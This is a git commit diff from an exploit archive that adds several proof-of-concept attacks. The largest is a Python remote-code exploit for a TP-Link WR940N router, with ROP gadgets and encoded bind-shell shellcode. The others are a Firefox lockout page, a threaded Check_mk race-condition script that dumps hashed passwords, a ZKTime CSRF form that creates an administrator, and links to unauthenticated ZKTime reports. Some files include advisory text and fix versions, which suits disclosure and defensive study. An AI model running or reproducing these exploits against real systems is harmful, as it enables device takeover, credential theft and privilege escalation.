DB: 2017-10-21
9 new exploits Too many to list!
This commit is contained in:
Offensive Security
parent
61c8ca796b
commit
7de3f31675
12 changed files with 2893 additions and 2330 deletions
169
platforms/hardware/webapps/43022.py
Executable file
169
platforms/hardware/webapps/43022.py
Executable file
|
|
@ -0,0 +1,169 @@
|
||||||
|
import urllib2
|
||||||
|
import base64
|
||||||
|
import hashlib
|
||||||
|
from optparse import *
|
||||||
|
import sys
|
||||||
|
import urllibbanner = (
|
||||||
|
"___________________________________________________________________________\n"
|
||||||
|
"WR940N Authenticated Remote Code Exploit\n"
|
||||||
|
"This exploit will open a bind shell on the remote target\n"
|
||||||
|
"The port is 31337, you can change that in the code if you wish\n"
|
||||||
|
"This exploit requires authentication, if you know the creds, then\n"
|
||||||
|
"use the -u -p options, otherwise default is admin:admin\n"
|
||||||
|
"___________________________________________________________________________"
|
||||||
|
)
|
||||||
|
|
||||||
|
def login(ip, user, pwd):
|
||||||
|
print "[+] Attempting to login to http://%s %s:%s"%(ip,user,pwd)
|
||||||
|
|
||||||
|
#### Generate the auth cookie of the form b64enc('admin:' + md5('admin'))
|
||||||
|
hash = hashlib.md5()
|
||||||
|
hash.update(pwd)
|
||||||
|
auth_string = "%s:%s" %(user, hash.hexdigest())
|
||||||
|
encoded_string = base64.b64encode(auth_string)
|
||||||
|
print "[+] Encoded authorisation: %s" %encoded_string
|
||||||
|
|
||||||
|
#### Send the request
|
||||||
|
url = "http://" + ip + "/userRpm/LoginRpm.htm?Save=Save"
|
||||||
|
print "[+] sending login to " + url
|
||||||
|
req = urllib2.Request(url)
|
||||||
|
req.add_header('Cookie', 'Authorization=Basic %s' %encoded_string)
|
||||||
|
resp = urllib2.urlopen(req)
|
||||||
|
|
||||||
|
#### The server generates a random path for further requests, grab that here
|
||||||
|
data = resp.read()
|
||||||
|
next_url = "http://%s/%s/userRpm/" %(ip, data.split("/")[3])
|
||||||
|
print "[+] Got random path for next stage, url is now %s" %next_url
|
||||||
|
|
||||||
|
return (next_url, encoded_string)
|
||||||
|
|
||||||
|
#custom bind shell shellcode with very simple xor encoder
|
||||||
|
#followed by a sleep syscall to flush cash before running
|
||||||
|
#bad chars = 0x20, 0x00
|
||||||
|
shellcode = (
|
||||||
|
#encoder
|
||||||
|
"\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99"
|
||||||
|
"\x27\xb2\x05\x4b" #0x27b2059f for first_exploit
|
||||||
|
"\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9"
|
||||||
|
"\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41"
|
||||||
|
"\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d"
|
||||||
|
"\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71"
|
||||||
|
"\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d"
|
||||||
|
"\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99"
|
||||||
|
"\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5"
|
||||||
|
"\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad"
|
||||||
|
"\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9"
|
||||||
|
"\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1"
|
||||||
|
"\x02\x2a\x18\x26\xae\x43\xff\xc1"
|
||||||
|
|
||||||
|
#sleep
|
||||||
|
"\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08"
|
||||||
|
"\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa"
|
||||||
|
"\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c"
|
||||||
|
|
||||||
|
################ encoded shellcode ###############
|
||||||
|
"\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06"
|
||||||
|
"\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff"
|
||||||
|
"\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d"
|
||||||
|
"\x7a\x69" #<————————- PORT 0x7a69 (31337)
|
||||||
|
"\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad"
|
||||||
|
"\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc"
|
||||||
|
"\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01"
|
||||||
|
"\x01\x0c\x24\x0f\x73\x50"
|
||||||
|
"\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f"
|
||||||
|
"\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48"
|
||||||
|
"\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f"
|
||||||
|
"\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50"
|
||||||
|
"\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f"
|
||||||
|
"\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c"
|
||||||
|
"\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce"
|
||||||
|
"\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8"
|
||||||
|
"\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02"
|
||||||
|
"\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa"
|
||||||
|
"\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c"
|
||||||
|
)
|
||||||
|
|
||||||
|
###### useful gadgets #######
|
||||||
|
nop = "\x22\x51\x44\x44"
|
||||||
|
gadg_1 = "\x2A\xB3\x7C\x60"
|
||||||
|
gadg_2 = "\x2A\xB1\x78\x40"
|
||||||
|
sleep_addr = "\x2a\xb3\x50\x90"
|
||||||
|
stack_gadg = "\x2A\xAF\x84\xC0"
|
||||||
|
call_code = "\x2A\xB2\xDC\xF0"
|
||||||
|
|
||||||
|
def first_exploit(url, auth):
|
||||||
|
# trash $s1 $ra
|
||||||
|
rop = "A"*164 + gadg_2 + gadg_1 + "B"*0x20 + sleep_addr + "C"*4
|
||||||
|
rop += "C"*0x1c + call_code + "D"*4 + stack_gadg + nop*0x20 + shellcode
|
||||||
|
|
||||||
|
params = {'ping_addr': rop, 'doType': 'ping', 'isNew': 'new', 'sendNum': '20', 'pSize': '64', 'overTime': '800', 'trHops': '20'}
|
||||||
|
|
||||||
|
new_url = url + "PingIframeRpm.htm?" + urllib.urlencode(params)
|
||||||
|
|
||||||
|
print "[+] sending exploit..."
|
||||||
|
print "[+] Wait a couple of seconds before connecting"
|
||||||
|
print "[+] When you are finished do http -r to reset the http service"
|
||||||
|
|
||||||
|
req = urllib2.Request(new_url)
|
||||||
|
req.add_header('Cookie', 'Authorization=Basic %s' %auth)
|
||||||
|
req.add_header('Referer', url + "DiagnosticRpm.htm")
|
||||||
|
|
||||||
|
resp = urllib2.urlopen(req)
|
||||||
|
|
||||||
|
def second_exploit(url, auth):
|
||||||
|
url = url + "WanStaticIpV6CfgRpm.htm?"
|
||||||
|
# trash s0 s1 s2 s3 s4 ret shellcode
|
||||||
|
payload = "A"*111 + "B"*4 + gadg_2 + "D"*4 + "E"*4 + "F"*4 + gadg_1 + "a"*0x1c
|
||||||
|
payload += "A"*4 + sleep_addr + "C"*0x20 + call_code + "E"*4
|
||||||
|
payload += stack_gadg + "A"*4 + nop*10 + shellcode + "B"*7
|
||||||
|
print len(payload)
|
||||||
|
|
||||||
|
params = {'ipv6Enable': 'on', 'wantype': '2', 'ipType': '2', 'mtu': '1480', 'dnsType': '1',
|
||||||
|
'dnsserver2': payload, 'ipAssignType': '0', 'ipStart': '1000',
|
||||||
|
'ipEnd': '2000', 'time': '86400', 'ipPrefixType': '0', 'staticPrefix': 'AAAA',
|
||||||
|
'staticPrefixLength': '64', 'Save': 'Save', 'RenewIp': '1'}
|
||||||
|
|
||||||
|
new_url = url + urllib.urlencode(params)
|
||||||
|
|
||||||
|
print "[+] sending exploit…"
|
||||||
|
print "[+] Wait a couple of seconds before connecting"
|
||||||
|
print "[+] When you are finished do http -r to reset the http service"
|
||||||
|
|
||||||
|
req = urllib2.Request(new_url)
|
||||||
|
req.add_header('Cookie', 'Authorization=Basic %s' %auth)
|
||||||
|
req.add_header('Referer', url + "WanStaticIpV6CfgRpm.htm")
|
||||||
|
|
||||||
|
resp = urllib2.urlopen(req)
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
print banner
|
||||||
|
username = "admin"
|
||||||
|
password = "admin"
|
||||||
|
|
||||||
|
parser = OptionParser()
|
||||||
|
parser.add_option("-t", "–target", dest="host",
|
||||||
|
help="target ip address")
|
||||||
|
|
||||||
|
parser.add_option("-u", "–user", dest="username",
|
||||||
|
help="username for authentication",
|
||||||
|
default="admin")
|
||||||
|
|
||||||
|
parser.add_option("-p", "–password", dest="password",
|
||||||
|
help="password for authentication",
|
||||||
|
default="admin")
|
||||||
|
|
||||||
|
(options, args) = parser.parse_args()
|
||||||
|
|
||||||
|
if options.host is None:
|
||||||
|
parser.error("[x] A host name is required at the minimum [x]")
|
||||||
|
|
||||||
|
if options.username is not None:
|
||||||
|
username = options.username
|
||||||
|
if options.password is not None:
|
||||||
|
password = options.password
|
||||||
|
|
||||||
|
(next_url, encoded_string) = login(options.host, username, password)
|
||||||
|
|
||||||
|
###### Both exploits result in the same bind shell ######
|
||||||
|
#first_exploit(data[0], data[1])
|
||||||
|
second_exploit(next_url, encoded_string).
|
||||||
|
|
@ -1,3 +1,4 @@
|
||||||
|
/*
|
||||||
source: http://www.securityfocus.com/bid/4413/info
|
source: http://www.securityfocus.com/bid/4413/info
|
||||||
|
|
||||||
Oracle 8i is a powerful relational database product. It is available for Windows, Linux, and a wide range of Unix operating systems.
|
Oracle 8i is a powerful relational database product. It is available for Windows, Linux, and a wide range of Unix operating systems.
|
||||||
|
|
@ -5,6 +6,7 @@ Oracle 8i is a powerful relational database product. It is available for Windows
|
||||||
A vulnerability has been reported with some versions of Oracle 8i for Linux. A local attacker able to execute the tnslsnr process may pass an oversized command line parameter and cause a buffer overflow, possibly leading to the execution of arbitrary code as the user 'oracle'.
|
A vulnerability has been reported with some versions of Oracle 8i for Linux. A local attacker able to execute the tnslsnr process may pass an oversized command line parameter and cause a buffer overflow, possibly leading to the execution of arbitrary code as the user 'oracle'.
|
||||||
|
|
||||||
Versions of Oracle 8i available for other operating systems have not yet been confirmed as vulnerable.
|
Versions of Oracle 8i available for other operating systems have not yet been confirmed as vulnerable.
|
||||||
|
*/
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* Yet another exploit for the 'Unbreakable' Oracle database
|
* Yet another exploit for the 'Unbreakable' Oracle database
|
||||||
|
|
|
||||||
38
platforms/multiple/dos/43020.txt
Executable file
38
platforms/multiple/dos/43020.txt
Executable file
|
|
@ -0,0 +1,38 @@
|
||||||
|
# Exploit Title: Mozilla Firefox < 55 - Forcibly make someone view a web content
|
||||||
|
# Category: Denial of Service
|
||||||
|
# Date: 5/11/17
|
||||||
|
# CVE : CVE-2017-7783
|
||||||
|
# Affected Version: < Mozilla Firefox 55
|
||||||
|
# Tested on: Windows/Linux
|
||||||
|
# Software Link: https://www.mozilla.org/en-US/firefox/52.0/releasenotes/
|
||||||
|
# Exploit Author: Amit Sangra
|
||||||
|
# Website: http://CyberCriminals.net
|
||||||
|
|
||||||
|
# Description:
|
||||||
|
|
||||||
|
If a long user name is used in a username/password combination in a site URL (such as http://UserName:Password@example.com), the resulting modal prompt will hang in a non-responsive state or crash, causing a denial of service.
|
||||||
|
|
||||||
|
# Impact:
|
||||||
|
|
||||||
|
An attacker can create a webpage having some content and exploit.
|
||||||
|
Now once a victim visits this webpage, his browser gets locked out and he is forcibly made to view attacker supplied content.
|
||||||
|
|
||||||
|
# Exploit:
|
||||||
|
|
||||||
|
<?php
|
||||||
|
$exploit=str_repeat(chr(0x41),10000);
|
||||||
|
$location="http://Username".$exploit.":Password@Firefox.com";
|
||||||
|
echo "<center><h1>Firefox Lockout Vulnerability</h1>";
|
||||||
|
//Content to be forcibly viewed
|
||||||
|
echo "<iframe width=854 height=480 src=https://www.youtube.com/embed/QH2-TGUlwu4?autoplay=1 frameborder=0 allowfullscreen></iframe></center>";
|
||||||
|
//End
|
||||||
|
echo "<script>setTimeout(\"location.href ='".$location."';\",10000);</script>";
|
||||||
|
?>
|
||||||
|
|
||||||
|
# Solution:
|
||||||
|
|
||||||
|
Update to version 55
|
||||||
|
https://www.mozilla.org/en-US/firefox/55.0/releasenotes/
|
||||||
|
|
||||||
|
# Mozilla Foundation Security Advisory:
|
||||||
|
https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7783
|
||||||
|
|
@ -1,9 +1,11 @@
|
||||||
# Exploit Title: E-Sic Software livre CMS - Sql Injection# Date:
|
# Exploit Title: E-Sic Software livre CMS - Sql Injection
|
||||||
12/10/2017# Exploit Author: Elber Tavares
|
# Date: 12/10/2017
|
||||||
|
# Exploit Author: Elber Tavares
|
||||||
# fireshellsecurity.team/
|
# fireshellsecurity.team/
|
||||||
# Vendor Homepage: https://softwarepublico.gov.br/# Version: 1.0#
|
# Vendor Homepage: https://softwarepublico.gov.br/
|
||||||
Tested on: kali linux, windows 7, 8.1, 10 - Firefox# Download
|
# Version: 1.0
|
||||||
https://softwarepublico.gov.br/social/e-sic-livre/versoes-estaveis/esiclivre.rar
|
# Tested on: kali linux, windows 7, 8.1, 10 - Firefox
|
||||||
|
# Download: https://softwarepublico.gov.br/social/e-sic-livre/versoes-estaveis/esiclivre.rar
|
||||||
More informations:
|
More informations:
|
||||||
|
|
||||||
http://whiteboyz.xyz/esic-software-publico-sql-injection.html
|
http://whiteboyz.xyz/esic-software-publico-sql-injection.html
|
||||||
|
|
|
||||||
211
platforms/python/webapps/43021.py
Executable file
211
platforms/python/webapps/43021.py
Executable file
|
|
@ -0,0 +1,211 @@
|
||||||
|
1. ADVISORY INFORMATION
|
||||||
|
=======================
|
||||||
|
Product: Check_mk
|
||||||
|
Vendor URL: https://mathias-kettner.de/check_mk.html
|
||||||
|
Type: Race Condition [CWE-362]
|
||||||
|
Date found: 2017-09-21
|
||||||
|
Date published: 2017-10-18
|
||||||
|
CVSSv3 Score: 7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
|
||||||
|
CVE: CVE-2017-14955
|
||||||
|
|
||||||
|
|
||||||
|
2. CREDITS
|
||||||
|
==========
|
||||||
|
This vulnerability was discovered and researched by Julien Ahrens from
|
||||||
|
RCE Security.
|
||||||
|
|
||||||
|
|
||||||
|
3. VERSIONS AFFECTED
|
||||||
|
====================
|
||||||
|
Check_mk v1.2.8p25
|
||||||
|
Check_mk v1.2.8p25 Enterprise
|
||||||
|
older versions may be affected too.
|
||||||
|
|
||||||
|
|
||||||
|
4. INTRODUCTION
|
||||||
|
===============
|
||||||
|
Check_MK is comprehensive IT monitoring solution in the tradition of Nagios.
|
||||||
|
Check_MK is available as Raw Edition, which is 100% pure open source, and as
|
||||||
|
Enterprise Edition with a lot of additional features and professional support.
|
||||||
|
|
||||||
|
(from the vendor's homepage)
|
||||||
|
|
||||||
|
|
||||||
|
5. VULNERABILITY DETAILS
|
||||||
|
========================
|
||||||
|
Check_mk is vulnerable to an unauthenticated information disclosure through a
|
||||||
|
race condition during the authentication process when trying to authenticate
|
||||||
|
with a valid username and an invalid password.
|
||||||
|
|
||||||
|
On a failed login, the application calls the function save_users(), which
|
||||||
|
performs two os.rename operations on the files "contacts.mk.new" and
|
||||||
|
"users.mk.new" (see /packages/check_mk/check_mk-1.2.8p25/web/htdocs/userdb.py):
|
||||||
|
|
||||||
|
[..]
|
||||||
|
# Check_MK's monitoring contacts
|
||||||
|
filename = root_dir + "contacts.mk.new"
|
||||||
|
out = create_user_file(filename, "w")
|
||||||
|
out.write("# Written by Multisite UserDB\n# encoding: utf-8\n\n")
|
||||||
|
out.write("contacts.update(\n%s\n)\n" % pprint.pformat(contacts))
|
||||||
|
out.close()
|
||||||
|
os.rename(filename, filename[:-4])
|
||||||
|
|
||||||
|
# Users with passwords for Multisite
|
||||||
|
filename = multisite_dir + "users.mk.new"
|
||||||
|
make_nagios_directory(multisite_dir)
|
||||||
|
out = create_user_file(filename, "w")
|
||||||
|
out.write("# Written by Multisite UserDB\n# encoding: utf-8\n\n")
|
||||||
|
out.write("multisite_users = \\\n%s\n" % pprint.pformat(users))
|
||||||
|
out.close()
|
||||||
|
os.rename(filename, filename[:-4])
|
||||||
|
[...]
|
||||||
|
|
||||||
|
When sending many concurrent authentication requests with an existing/valid
|
||||||
|
username, such as:
|
||||||
|
|
||||||
|
POST /check_mk/login.py HTTP/1.1
|
||||||
|
Host: localhost
|
||||||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||||
|
Accept-Language: en-US,en;q=0.5
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Content-Type: multipart/form-data; boundary=---9519178121294961341040589727
|
||||||
|
Content-Length: 772
|
||||||
|
Connection: close
|
||||||
|
Upgrade-Insecure-Requests: 1
|
||||||
|
|
||||||
|
---9519178121294961341040589727
|
||||||
|
Content-Disposition: form-data; name="filled_in"
|
||||||
|
|
||||||
|
login
|
||||||
|
---9519178121294961341040589727
|
||||||
|
Content-Disposition: form-data; name="_login"
|
||||||
|
|
||||||
|
1
|
||||||
|
---9519178121294961341040589727
|
||||||
|
Content-Disposition: form-data; name="_origtarget"
|
||||||
|
|
||||||
|
index.py
|
||||||
|
---9519178121294961341040589727
|
||||||
|
Content-Disposition: form-data; name="_username"
|
||||||
|
|
||||||
|
omdadmin
|
||||||
|
---9519178121294961341040589727
|
||||||
|
Content-Disposition: form-data; name="_password"
|
||||||
|
|
||||||
|
welcome
|
||||||
|
---9519178121294961341040589727
|
||||||
|
Content-Disposition: form-data; name="_login"
|
||||||
|
|
||||||
|
Login
|
||||||
|
---9519178121294961341040589727--
|
||||||
|
|
||||||
|
Then it could happen that one of both os.rename() calls references a non-
|
||||||
|
existing file, which has just been renamed by a previous thread. This causes the
|
||||||
|
Python script to fail and throw a crash report, which discloses a variety of
|
||||||
|
sensitive information, such as internal server paths, account details including
|
||||||
|
hashed passwords:
|
||||||
|
|
||||||
|
</pre></td></tr><tr class="data odd0"><td class="left">Local Variables</td><td><pre>{'contacts': {u'admin': {'alias': u'Administrator',
|
||||||
|
'contactgroups': ['all'],
|
||||||
|
'disable_notifications': False,
|
||||||
|
'email': u'admin@example.com',
|
||||||
|
'enforce_pw_change': False,
|
||||||
|
'last_pw_change': 0,
|
||||||
|
'last_seen': 0.0,
|
||||||
|
'locked': False,
|
||||||
|
'num_failed': 0,
|
||||||
|
'pager': '',
|
||||||
|
'password': '$1$400000$13371337asdfasdf',
|
||||||
|
'roles': ['admin'],
|
||||||
|
'serial': 2},
|
||||||
|
|
||||||
|
A script to automatically exploit this vulnerability can be found on [0].
|
||||||
|
|
||||||
|
6. POC
|
||||||
|
======
|
||||||
|
|
||||||
|
#!/usr/bin/python
|
||||||
|
# Exploit Title: Check_mk <=3D v1.2.8p25 save_users() Race Condition
|
||||||
|
# Version: <=3D 1.2.8p25
|
||||||
|
# Date: 2017-10-18
|
||||||
|
# Author: Julien Ahrens (@MrTuxracer)
|
||||||
|
# Homepage: https://www.rcesecurity.com
|
||||||
|
# Software Link: https://mathias-kettner.de/check_mk.html
|
||||||
|
# Tested on: 1.2.8p25
|
||||||
|
# CVE:=09=09 CVE-2017-14955
|
||||||
|
#
|
||||||
|
# Howto / Notes:
|
||||||
|
# This scripts exploits the Race Condition in check_mk version 1.2.8p25 and
|
||||||
|
# below as described by CVE-2017-14955. You only need a valid username to
|
||||||
|
# dump all encrypted passwords and make sure to setup a local proxy to
|
||||||
|
# catch the dump. Happy brute forcing ;-)
|
||||||
|
|
||||||
|
import requests
|
||||||
|
import threading
|
||||||
|
|
||||||
|
try:
|
||||||
|
=09from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||||
|
=09requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||||
|
except:
|
||||||
|
=09pass
|
||||||
|
|
||||||
|
# Config Me
|
||||||
|
target_url =3D "https://localhost/check_mk/login.py"
|
||||||
|
target_username =3D "omdadmin"
|
||||||
|
|
||||||
|
proxies =3D {
|
||||||
|
'http': 'http://127.0.0.1:8080',
|
||||||
|
'https': 'http://127.0.0.1:8080',
|
||||||
|
}
|
||||||
|
|
||||||
|
def make_session():
|
||||||
|
=09v =3D requests.post(target_url, verify=3DFalse, proxies=3Dproxies, files=
|
||||||
|
=3D{'filled_in': (None, 'login'), '_login': (None, '1'), '_origtarget': (No=
|
||||||
|
ne, 'index.py'), '_username': (None, target_username), '_password': (None, =
|
||||||
|
'random'), '_login': (None, 'Login')})
|
||||||
|
=09return v.content
|
||||||
|
|
||||||
|
NUM =3D 50
|
||||||
|
|
||||||
|
threads =3D []
|
||||||
|
for i in range(NUM):
|
||||||
|
t =3D threading.Thread(target=3Dmake_session)
|
||||||
|
threads.append(t)
|
||||||
|
t.start()
|
||||||
|
|
||||||
|
7. RISK
|
||||||
|
=======
|
||||||
|
To successfully exploit this vulnerability an unauthenticated attacker must only
|
||||||
|
have network-level access to the application.
|
||||||
|
|
||||||
|
The vulnerability allows remote attackers to trigger an exception, which
|
||||||
|
discloses a variety of sensitive internal information such as:
|
||||||
|
- Local server paths
|
||||||
|
- Usernames
|
||||||
|
- Passwords (hashed)
|
||||||
|
- and user directory-specific attributes (i.e. LDAP)
|
||||||
|
|
||||||
|
|
||||||
|
8. SOLUTION
|
||||||
|
===========
|
||||||
|
Update to 1.2.8p26.
|
||||||
|
|
||||||
|
|
||||||
|
9. REPORT TIMELINE
|
||||||
|
==================
|
||||||
|
2017-09-21: Discovery of the vulnerability
|
||||||
|
2017-09-21: Sent limited information to publicly listed email address
|
||||||
|
2017-09-21: Vendor responds and asks for details
|
||||||
|
2017-09-21: Full vulnerability details sent to vendor
|
||||||
|
2017-09-25: Vendor pushes fix to git
|
||||||
|
2017-10-01: MITRE assigns CVE-2017-14955
|
||||||
|
2017-10-16: Fix confirmed
|
||||||
|
2017-10-18: Public disclosure
|
||||||
|
|
||||||
|
|
||||||
|
10. REFERENCES
|
||||||
|
=============
|
||||||
|
[0] https://www.rcesecurity.com/2017/10/cve-2017-14955-win-a-race-against-check-mk-to-dump-all-your-login-data/
|
||||||
|
[1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14955
|
||||||
|
|
||||||
|
|
||||||
83
platforms/windows/webapps/43018.html
Executable file
83
platforms/windows/webapps/43018.html
Executable file
|
|
@ -0,0 +1,83 @@
|
||||||
|
Exploit Title: ZKTime Web Software 2.0 - Cross Site Request Forgery
|
||||||
|
CVE-ID: CVE-2017-13129
|
||||||
|
Vendor Homepage: https://www.zkteco.com/product/ZKTime_Web_2.0_435.html
|
||||||
|
Vendor of Product: ZKTeco
|
||||||
|
Affected Product Code: ZKTime Web - 2.0.1.12280
|
||||||
|
Category: WebApps
|
||||||
|
Author: Arvind V.
|
||||||
|
Author Social: @Find_Arvind
|
||||||
|
|
||||||
|
------------------------------------------
|
||||||
|
|
||||||
|
Product description:
|
||||||
|
ZKTime Web 2.0 is a cutting edge Web-based Time Attendance software, which
|
||||||
|
provided a stable communication for devices through GPRS/WAN, hence, users
|
||||||
|
can access the software anywhere by their Web Browser to remotely manage
|
||||||
|
hundreds of T&A terminals under complex network condition (WLAN). The
|
||||||
|
Application has an administrator role and application user role.
|
||||||
|
|
||||||
|
Attack Description:
|
||||||
|
The ZKTime Web Software allows the Administrator to elevate the privileges
|
||||||
|
of the application user by simple click of a radio button namely
|
||||||
|
"superuser". However when the request is generated there are no random
|
||||||
|
tokens attached to this request to prevent any kind of Cross Site Request
|
||||||
|
Forgery attacks. Moreover there no other protections (like administrator
|
||||||
|
password verification etc.) mechanisms in place to block any kind of forged
|
||||||
|
requests.
|
||||||
|
An Attacker takes advantage of this scenario and creates a crafted link to
|
||||||
|
add himself as an administrator to the ZKTime Web Software. He then uses
|
||||||
|
social engineering methods to trick the administrator into click the forged
|
||||||
|
http request. The request is executed and the attacker becomes the
|
||||||
|
Administrator of the
|
||||||
|
ZKTime Web Software.
|
||||||
|
|
||||||
|
Proof of Concept Code:
|
||||||
|
Forged HTTP Request used by the attacker:
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="http://XX.XX.XX.46:8081/data/auth/User/14/
|
||||||
|
<http://xx.xx.xx.46:8081/data/auth/User/14/>" method="POST">
|
||||||
|
<input type="hidden" name="pk" value="" />
|
||||||
|
<input type="hidden" name="username" value="Pentestuser1" />
|
||||||
|
<input type="hidden" name="Password" value="" />
|
||||||
|
<input type="hidden" name="ResetPassword" value="" />
|
||||||
|
<input type="hidden" name="fpidnum" value="" />
|
||||||
|
<input type="hidden" name="fpcount" value="0" />
|
||||||
|
<input type="hidden" name="tlng" value="en" />
|
||||||
|
<input type="hidden" name="first_name" value="Pentest" />
|
||||||
|
<input type="hidden" name="last_name" value="User" />
|
||||||
|
<input type="hidden" name="email" value="" />
|
||||||
|
<input type="hidden" name="is_staff" value="on" />
|
||||||
|
<input type="hidden" name="is_superuser" value="on" />
|
||||||
|
<input type="hidden" name="last_login" value="2017-08-20 14:14:34" />
|
||||||
|
<input type="hidden" name="initial-last_login" value="2017-08-20
|
||||||
|
14:14:34" />
|
||||||
|
<input type="hidden" name="date_joined" value="2017-08-20 14:14:34" />
|
||||||
|
<input type="hidden" name="initial-date_joined" value="2017-08-20
|
||||||
|
14:14:34" />
|
||||||
|
<input type="hidden" name="finnger" value="" />
|
||||||
|
<input type="hidden" name="template" value="" />
|
||||||
|
<input type="hidden" name="finger10" value="" />
|
||||||
|
<input type="hidden" name="template10" value="" />
|
||||||
|
<input type="hidden" name="delfp" value="" />
|
||||||
|
<input type="hidden" name="actflag" value="" />
|
||||||
|
<input type="submit" value="Submit request" />
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
Impact:
|
||||||
|
If the vulnerability is successfully exploited than an attacker (who would
|
||||||
|
be a normal user of the web application) can escalate his privileges and
|
||||||
|
become the administrator of ZK Time Web Software.
|
||||||
|
|
||||||
|
References:
|
||||||
|
http://seclists.org/fulldisclosure/2017/Sep/38
|
||||||
|
http://seclists.org/bugtraq/2017/Sep/19
|
||||||
|
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-13129
|
||||||
|
|
||||||
|
Vulnerability Timeline:
|
||||||
|
18th August 2017 – Vulnerability Discovered
|
||||||
|
20th August 2017 – Contacted Vendor – No Response
|
||||||
|
1st September 2017 – Contacted Vendor again – No Response
|
||||||
|
18th September 2017 – Vulnerability Disclosed
|
||||||
53
platforms/windows/webapps/43019.txt
Executable file
53
platforms/windows/webapps/43019.txt
Executable file
|
|
@ -0,0 +1,53 @@
|
||||||
|
Exploit Title: ZKTime Web Software 2.0 - Broken Authentication
|
||||||
|
CVE-ID: CVE-2017-14680
|
||||||
|
Vendor Homepage: https://www.zkteco.com/product/ZKTime_Web_2.0_435.html
|
||||||
|
Vendor of Product: ZKTeco
|
||||||
|
Affected Product Code: ZKTime Web - 2.0.1.12280
|
||||||
|
Category: WebApps
|
||||||
|
Author: Arvind V.
|
||||||
|
Author Social: @Find_Arvind
|
||||||
|
|
||||||
|
------------------------------------------
|
||||||
|
|
||||||
|
Product description:
|
||||||
|
ZKTime Web 2.0 is a cutting edge Web-based Time Attendance software, which
|
||||||
|
provided a stable communication for devices through GPRS/WAN, hence, users
|
||||||
|
can access the software anywhere by their Web Browser to remotely manage
|
||||||
|
hundreds of T&A terminals under complex network condition (WLAN). The
|
||||||
|
Application has an administrator role and application user role.
|
||||||
|
|
||||||
|
Attack Description:
|
||||||
|
The Application is a time attendance software which allows users to
|
||||||
|
download their time and attendance data from the application in a PDF
|
||||||
|
Format. The data includes their employee’s id, user-id, gender,
|
||||||
|
birth-dates, phone numbers and access-areas. These PDF Files however are
|
||||||
|
not properly authenticated. If any user get access to the file-download
|
||||||
|
link, he can go ahead and download these files directly without any
|
||||||
|
authentication.
|
||||||
|
|
||||||
|
Proof of Concept Links:
|
||||||
|
|
||||||
|
1) http://XX.XX.XX.XX:8081/tmp/report_file/Personnel_20170820144237.pdf
|
||||||
|
<http://xx.xx.xx.xx:8081/tmp/report_file/Personnel_20170820144237.pdf>
|
||||||
|
2) http://XX.XX.XX.XX:8081/tmp/report_file/Personnel_20170820144238.pdf
|
||||||
|
<http://xx.xx.xx.xx:8081/tmp/report_file/Personnel_20170820144238.pdf>
|
||||||
|
3) http://XX.XX.XX.XX:8081/tmp/report_file/Personnel_20170820144239.pdf
|
||||||
|
